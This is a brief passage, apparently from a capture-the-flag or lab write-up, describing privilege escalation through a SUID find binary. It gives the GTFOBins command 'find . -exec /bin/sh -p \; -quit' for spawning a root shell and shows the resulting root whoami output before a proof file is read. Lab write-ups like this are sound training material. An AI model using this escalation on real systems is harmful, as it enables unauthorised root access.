Priv Escalation

Upon initial enumreation I found that find was running with SUID.

find | GTFOBins

find . -exec /bin/sh -p \; -quit

And we are root!

# whoami
whoami
root
# cat /root/proof.txt